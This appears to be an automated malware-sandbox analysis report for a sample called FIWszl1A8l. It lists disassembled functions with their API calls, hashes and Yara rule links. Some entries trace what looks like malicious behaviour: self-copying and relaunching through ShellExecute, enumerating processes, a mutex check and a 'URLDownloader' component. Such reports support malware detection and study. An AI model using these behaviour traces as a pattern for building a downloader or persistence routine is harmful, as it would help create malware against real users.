_com_issue_error.COMSUPP ref: 008E6FAF
_com_issue_error.COMSUPP ref: 008E6FB9
GetLastError.KERNEL32(80070057,1001C040,?,?,?,008D1BBB,008D1A3B,00000000,?,008D1A3B,008D27A3), ref: 008E6FBE
_com_issue_error.COMSUPP ref: 008E6FD1
GetLastError.KERNEL32(00000000,?,?,?,008D1BBB,008D1A3B,00000000,?,008D1A3B,008D27A3), ref: 008E6FE7
_com_issue_error.COMSUPP ref: 008E6FFA

Memory Dump Source

Source File: 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_FIWszl1A8l.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: 36a79a949d6c8b34454c645a8cc607a47bcf98233b07f76ab1fadc82befca182
Instruction ID: 39e2daa92579a9dc51cff7447b150ad1b1eea4b6c7f276c153012b0298162f43
Opcode Fuzzy Hash: 36a79a949d6c8b34454c645a8cc607a47bcf98233b07f76ab1fadc82befca182
Instruction Fuzzy Hash: 96412CB1A04255EBDB10DF6ADC45BAEBBA8FF59790F204229F505D7380EB34D910C7A1

Function 100164C3 Relevance: 13.6, APIs: 9, Instructions: 135COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 1001650A
___scrt_uninitialize_crt.LIBCMT ref: 10016524

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 256b102e24a693d9f51ba83eb3981e94a0f04eba2416ad11eb438865fe32d69a
Instruction ID: a50b9bcbe80e21d08239303d3e1b85a5ff725acd6039f41ad542be21913079e7
Opcode Fuzzy Hash: 256b102e24a693d9f51ba83eb3981e94a0f04eba2416ad11eb438865fe32d69a
Instruction Fuzzy Hash: A7419372E01629AFDB21CF94DD41B9E7AB9EB4C690F118129F8146F151C731DE818BE0

Function 10012150 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

?pptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10012187
?pptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10012194
?epptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1001219F
?_Pninc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEPADXZ.MSVCP140 ref: 100121BB

Strings

, xrefs: 1001223B

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?pptr@?$basic_streambuf@$?epptr@?$basic_streambuf@Pninc@?$basic_streambuf@
String ID:
API String ID: 1504536088-3916222277
Opcode ID: b236a37fb06bdb8dee8e7b599258b0d5f450d0f7872909518222e9a22227080f
Instruction ID: a0487576b8a3c5ffe6c335ea50ad64326e07086e404223857e371bd2d0d575a7
Opcode Fuzzy Hash: b236a37fb06bdb8dee8e7b599258b0d5f450d0f7872909518222e9a22227080f
Instruction Fuzzy Hash: 9C5161F5D00119EFDB04CFD4D8819EEBBB5EF48244F148459E901AB241EB34EBA4CBA5

Function 008E57F7 Relevance: 10.9, APIs: 7, Instructions: 357filesynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 008D5487: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 008D54A8

Part of subcall function 008E5727: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 008E575A

Part of subcall function 008E56D7: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 008E56F5

_Smanip.LIBCPMTD ref: 008E5AE1
_Smanip.LIBCPMTD ref: 008E5B7B
ShellExecuteEx.SHELL32(0000003C), ref: 008E5CB8
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 008E5CD4
CloseHandle.KERNEL32(00000000), ref: 008E5CE1
CopyFileA.KERNEL32(00000000,?,00000000), ref: 008E5D4A
ShellExecuteA.SHELL32(00000000,100185D4,?,00000000,00000000,00000001), ref: 008E5D70

Memory Dump Source

Source File: 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_FIWszl1A8l.jbxd

Similarity

API ID: File$ExecuteModuleNameShellSmanip$CloseCopyFolderHandleObjectPathSingleWait
String ID:
API String ID: 831046560-0
Opcode ID: 0fe253082a74fc7e1f2c5e44154e34defa3da35614f529e5d97aba5e42ca8e7c
Instruction ID: d2a75ef10eadf8d31c25cbf06ee296667e39cb4e8b128bce72abc6f2f74631cd
Opcode Fuzzy Hash: 0fe253082a74fc7e1f2c5e44154e34defa3da35614f529e5d97aba5e42ca8e7c
Instruction Fuzzy Hash: 27023670D083D8DEEB11DBA8C855BDDBFB1AF26304F0441D9D1486B282D7BA5B48CB62

Function 10011CD0 Relevance: 10.7, APIs: 7, Instructions: 190COMMON

Download Yara Rule

APIs

?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10011CF2
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10011CFF
?egptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10011D0A
?_Gninc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEPADXZ.MSVCP140 ref: 10011D17

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?gptr@?$basic_streambuf@$?egptr@?$basic_streambuf@Gninc@?$basic_streambuf@
String ID:
API String ID: 623893373-0
Opcode ID: 52e15d50399265125c64f399d886bb165b5bbf37f1e1fda9a42ed22037138c62
Instruction ID: a0288be0b98a9ca1868d6d550198ab6d9a445e2d27cbf722241acd90e910a963
Opcode Fuzzy Hash: 52e15d50399265125c64f399d886bb165b5bbf37f1e1fda9a42ed22037138c62
Instruction Fuzzy Hash: 23716AB5C1021DDFDB18DFE4D8959EEB7B1FF04250F104129E516AB291EB30AE85CBA1

Function 10011B60 Relevance: 10.6, APIs: 7, Instructions: 124COMMON

Download Yara Rule

APIs

?xsgetn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAE_JPAD_J@Z.MSVCP140(?,?,00000000), ref: 10011B98
?_Gnavail@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBE_JXZ.MSVCP140 ref: 10011BB8
_Min_value.LIBCPMTD ref: 10011BCF
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?), ref: 10011BE3
?gbump@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXH@Z.MSVCP140(?), ref: 10011C0F
fread.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000FFF,00000000), ref: 10011C4D
fread.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,00000000), ref: 10011C9E

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$fread$?gbump@?$basic_streambuf@?gptr@?$basic_streambuf@?xsgetn@?$basic_streambuf@Gnavail@?$basic_streambuf@Min_value
String ID:
API String ID: 1591557727-0
Opcode ID: d4fc38bd5d27632a969096010cf362d5f07236698e0cba18835fbb4ee552d5b6
Instruction ID: e0e71f9b7f058a59da033de4bce7e27fb15f803cdd6c81aee40a3e1b4d5913a5
Opcode Fuzzy Hash: d4fc38bd5d27632a969096010cf362d5f07236698e0cba18835fbb4ee552d5b6
Instruction Fuzzy Hash: CF51C775E00109EFDB48CF98C984AEEBBB5FF88344F108169E905AB354D730AE85DB90

Function 10016571 Relevance: 10.6, APIs: 7, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 100165AE
dllmain_crt_dispatch.LIBCMT ref: 100165C5
_DllMain@12.MSVCRT ref: 100165DC
_DllMain@12.MSVCRT ref: 100165F4
dllmain_raw.LIBCMT ref: 1001660D
dllmain_crt_dispatch.LIBCMT ref: 10016620
dllmain_raw.LIBCMT ref: 10016633

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: dllmain_raw$Main@12dllmain_crt_dispatch
String ID:
API String ID: 3353612457-0
Opcode ID: 98b3f14604f10840f3c0567c90b7ef5983de27fd412168009cf08e435744699c
Instruction ID: 54edc5666c311e175fc24a18419b6af998dcce978129f85e44b2e6ec709a6a51
Opcode Fuzzy Hash: 98b3f14604f10840f3c0567c90b7ef5983de27fd412168009cf08e435744699c
Instruction Fuzzy Hash: E6216DB2D01669ABDB21CF55DD41E6E3AA9EB8CAD0F014129F8146F255C231DE819BE0

Function 10012000 Relevance: 9.1, APIs: 6, Instructions: 106COMMON

Download Yara Rule

APIs

?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1001200D
?eback@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1001201E
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10012029
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?), ref: 10012053
?_Gndec@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEPADXZ.MSVCP140 ref: 10012083

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?gptr@?$basic_streambuf@$?eback@?$basic_streambuf@Gndec@?$basic_streambuf@
String ID:
API String ID: 4206206407-0
Opcode ID: 9fc12d2fec2c330bd392a39c3e1c5fe0c8e6a097ec772b7a36a433fcf897c115
Instruction ID: ed5e708f9a507b4adfd911d3508ec20c212b5a391fedcf247e80062d61f76bb5
Opcode Fuzzy Hash: 9fc12d2fec2c330bd392a39c3e1c5fe0c8e6a097ec772b7a36a433fcf897c115
Instruction Fuzzy Hash: C531C5F9E00108BBDB04EFA4D89599D7BB6EF54244F008069F9069F242EB31EAD5CB95

Function 10004EE0 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,00000000), ref: 10004EF7
memset.VCRUNTIME140(?,00000000,?), ref: 10004F34
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,?), ref: 10004F51
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 10004F69
memset.VCRUNTIME140(?,00000000,?), ref: 10004F97
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,?,00000000,00000000), ref: 10004FB5

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: ByteCharMultiWide$memset
String ID:
API String ID: 1216362210-0
Opcode ID: b7bee2a040cd1640bfdf514d1c4ee8a6aa7dfffc560f49adb40942a3e1296025
Instruction ID: b6c0c3fe9f7a8ecbfd6a68903a988b9ee954c4047185b56f79f4f3260df6d144
Opcode Fuzzy Hash: b7bee2a040cd1640bfdf514d1c4ee8a6aa7dfffc560f49adb40942a3e1296025
Instruction Fuzzy Hash: 71312FB5E40208BFEB14DBD8CC86FAEB7B5EB48710F204254F615AB2C0D671AB408B55

Function 008D1F77 Relevance: 9.1, APIs: 6, Instructions: 73processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 008D1F84
Process32FirstW.KERNEL32(000000FF,0000022C), ref: 008D1FC5
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000104,00000000,00000000), ref: 008D1FEC
CloseHandle.KERNEL32(000000FF,?,?), ref: 008D202C

Memory Dump Source

Source File: 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_FIWszl1A8l.jbxd

Similarity

API ID: ByteCharCloseCreateFirstHandleMultiProcess32SnapshotToolhelp32Wide
String ID:
API String ID: 1100011785-0
Opcode ID: ad4cc8196aeaec05983c793c26f6bcab303a0f1f4c84ce765135adf8375fdcb0
Instruction ID: 56e0133e809c5604f7c6c117e1a27ce243a5da3fdbf5cffbcb88a21ca850ea0d
Opcode Fuzzy Hash: ad4cc8196aeaec05983c793c26f6bcab303a0f1f4c84ce765135adf8375fdcb0
Instruction Fuzzy Hash: 57216071904218BBDB20DBE4CC89FEEB778EB18711F108289F605E62D0D7749B49DB61

Function 008E5DC7 Relevance: 9.0, APIs: 6, Instructions: 41synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,100185DC), ref: 008E5DE1
GetLastError.KERNEL32 ref: 008E5DEA
CloseHandle.KERNEL32(?), ref: 008E5DFB
GetCurrentThread.KERNEL32 ref: 008E5E13
WaitForSingleObject.KERNEL32(00000000), ref: 008E5E1A
CreateThread.KERNEL32(00000000,00000000,1000B570,00000000,00000000,00000000), ref: 008E5E2F

Memory Dump Source

Source File: 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_FIWszl1A8l.jbxd

Similarity

API ID: CreateThread$CloseCurrentErrorHandleLastMutexObjectSingleWait
String ID:
API String ID: 3416154964-0
Opcode ID: 932af6c73dcd6bb60c1c2832b1bdd1deeeb21924d37d70f5ea829a4b8e9779f7
Instruction ID: 6d64b876953bb19cb699e803bcb042b324546c826c2b09a0bcd7f9f752857c95
Opcode Fuzzy Hash: 932af6c73dcd6bb60c1c2832b1bdd1deeeb21924d37d70f5ea829a4b8e9779f7
Instruction Fuzzy Hash: 8A01447068471CFBF791ABF48C4EB5D3A64EB09706F104450F709EA1D0DAB4D7448B25

Function 10011A40 Relevance: 7.6, APIs: 5, Instructions: 100fileCOMMON

Download Yara Rule

APIs

?xsputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAE_JPBD_J@Z.MSVCP140(?,?,?), ref: 10011A61
?_Pnavail@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBE_JXZ.MSVCP140 ref: 10011A7B
?pptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(00000000,?), ref: 10011ACC
?pbump@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXH@Z.MSVCP140(?), ref: 10011AFD
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,00000000), ref: 10011B2C

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?pbump@?$basic_streambuf@?pptr@?$basic_streambuf@?xsputn@?$basic_streambuf@Pnavail@?$basic_streambuf@fwrite
String ID:
API String ID: 1074265955-0
Opcode ID: 5ddc3c7a704c1f435e1f2cf7b7af9729b09afe2cf8c3f8fc50bc04272bbf712c
Instruction ID: f3b0000acd429ac5cb95c2efd876261dd8ef2d3ed187a2a6324a5f7f02af080d
Opcode Fuzzy Hash: 5ddc3c7a704c1f435e1f2cf7b7af9729b09afe2cf8c3f8fc50bc04272bbf712c
Instruction Fuzzy Hash: 9E41B075A04249EFDB48CF98C885ADEBBB5FF88314F10C559E92A9B250D774EA80CF50

Function 008E6548 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 008E6585
_DllMain@12.MSVCRT ref: 008E65B3
_DllMain@12.MSVCRT ref: 008E65CB
dllmain_raw.LIBCMT ref: 008E65E4
dllmain_raw.LIBCMT ref: 008E660A

Memory Dump Source

Source File: 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_FIWszl1A8l.jbxd

Similarity

API ID: dllmain_raw$Main@12
String ID:
API String ID: 2964726511-0
Opcode ID: 77c2d8ce7624c59a58bc0892d1e6724f43cbeeb330e080506059902503b60b19
Instruction ID: b15ebecdada4f7a35fc6c4c9f191828b41ff2b54bc5dd741f42104f49dd7496c
Opcode Fuzzy Hash: 77c2d8ce7624c59a58bc0892d1e6724f43cbeeb330e080506059902503b60b19
Instruction Fuzzy Hash: 1D218371E00299ABDB219F1BCC41A6F7A69FBB2BD4B158125F815E7224E3308D619BD0

Function 10015FE6 Relevance: 7.5, APIs: 5, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(00001000,?,1000135C,00001000,?,10004B1D,00001000), ref: 10015FEE
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00001000,?,1000135C,00001000,?,10004B1D,00001000), ref: 10015FFB
_CxxThrowException.VCRUNTIME140(?,10019CBC), ref: 100166FE
stdext::threads::lock_error::lock_error.LIBCPMTD ref: 1001670D
_CxxThrowException.VCRUNTIME140(?,10019D9C), ref: 1001671B

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: ExceptionThrow$_callnewhmallocstdext::threads::lock_error::lock_error
String ID:
API String ID: 1722040371-0
Opcode ID: 484d703399dcadcd353398c13584d4514a4cbdd0134b2ce45ad199602cde101f
Instruction ID: 08eecf3aab68b4969477acf4f8a3a2caa643f1c7ff8f01e52dc4bc7ddf13aa92
Opcode Fuzzy Hash: 484d703399dcadcd353398c13584d4514a4cbdd0134b2ce45ad199602cde101f
Instruction Fuzzy Hash: 56F0543880420DB78F04E6B9EC169ED777CEB04290F604125FA689D4D5EB71F6DA85D4

Function 10015F31 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(1001C31C,URLDownloader,?,100015D9,1001C6D4), ref: 10015F3B
ReleaseSRWLockExclusive.KERNEL32(1001C31C,?,100015D9,1001C6D4), ref: 10015F6E
WakeAllConditionVariable.KERNEL32(1001C318,?,100015D9,1001C6D4), ref: 10015F79

Strings

URLDownloader, xrefs: 10015F34

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionReleaseVariableWake
String ID: URLDownloader
API String ID: 1466638765-1891997712
Opcode ID: 5c957333df92aa0d20994f740975eb8c520519e24ded03d2bd78703f65689582
Instruction ID: 2635d989befe49f68561a0190eacd187a5f89713392b86b322bdf01f88d219c5
Opcode Fuzzy Hash: 5c957333df92aa0d20994f740975eb8c520519e24ded03d2bd78703f65689582
Instruction Fuzzy Hash: 88F0C975900628DFE746DF58D8C8E957BA8FB4D394B06C069FA0987322CB34EA50CB95

Function 008D4EB7 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 008D4ECE
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,?), ref: 008D4F28
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 008D4F40
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,?,00000000,00000000), ref: 008D4F8C

Memory Dump Source

Source File: 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_FIWszl1A8l.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 2ad7ddd50886c6f136297177ce94159ccb7120c9250006a8d7e0e413235becb2
Instruction ID: db97df3be1912b4587aafe772c44d6cae73165b6fd5ff4748f986f432d7c34ab
Opcode Fuzzy Hash: 2ad7ddd50886c6f136297177ce94159ccb7120c9250006a8d7e0e413235becb2
Instruction Fuzzy Hash: CE31EFB5E40208BFEB14DBD8CD86FAEB7B5EB49710F204254F615AB3D0D6B1AB008B55

Function 10013A70 Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,10017B76,000000FF,?,10013642,?), ref: 10013A90
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,10017B76,000000FF,?,10013642), ref: 10013AAB
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,10013642,?), ref: 10013ADF
??1_Lockit@std@@QAE@XZ.MSVCP140(?), ref: 10013B57

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Getcat@?$codecvt@Mbstatet@@@std@@V42@@Vfacet@locale@2@
String ID:
API String ID: 1566052064-0
Opcode ID: fe2f488380e94dcbeb70f586553934bb7d96351eb8217fb32b8625d7819b8d05
Instruction ID: 47359edd55c6cc15742bff4ced4580a4001c133a1fe49908c7c5117e5c40c52a
Opcode Fuzzy Hash: fe2f488380e94dcbeb70f586553934bb7d96351eb8217fb32b8625d7819b8d05
Instruction Fuzzy Hash: DD3141B4D00259DFDB04DF94D981BEEBBB4FF48310F208659E52667391DB34AA84CBA1

Function 100163BC Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 10016409

Part of subcall function 10016CAE: InitializeSListHead.KERNEL32(1001C360,10016413,10019C58,00000010,100163A4,?,?,?,100165CA,?,00000001,?,?,00000001,?,10019CA0), ref: 10016CB3

_initterm_e.API-MS-WIN-CRT-RUNTIME-L1-1-0(100182EC,100182F0,10019C58,00000010,100163A4,?,?,?,100165CA,?,00000001,?,?,00000001,?,10019CA0), ref: 10016422
_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0(100182CC,100182E8,10019C58,00000010,100163A4,?,?,?,100165CA,?,00000001,?,?,00000001,?,10019CA0), ref: 10016440
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 10016473

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image_initterm_initterm_e
String ID:
API String ID: 590286634-0
Opcode ID: c66be37b7fa5c5e393c4edeaf5cfb5ebc56572853e82811de3f62df1bd00dbee
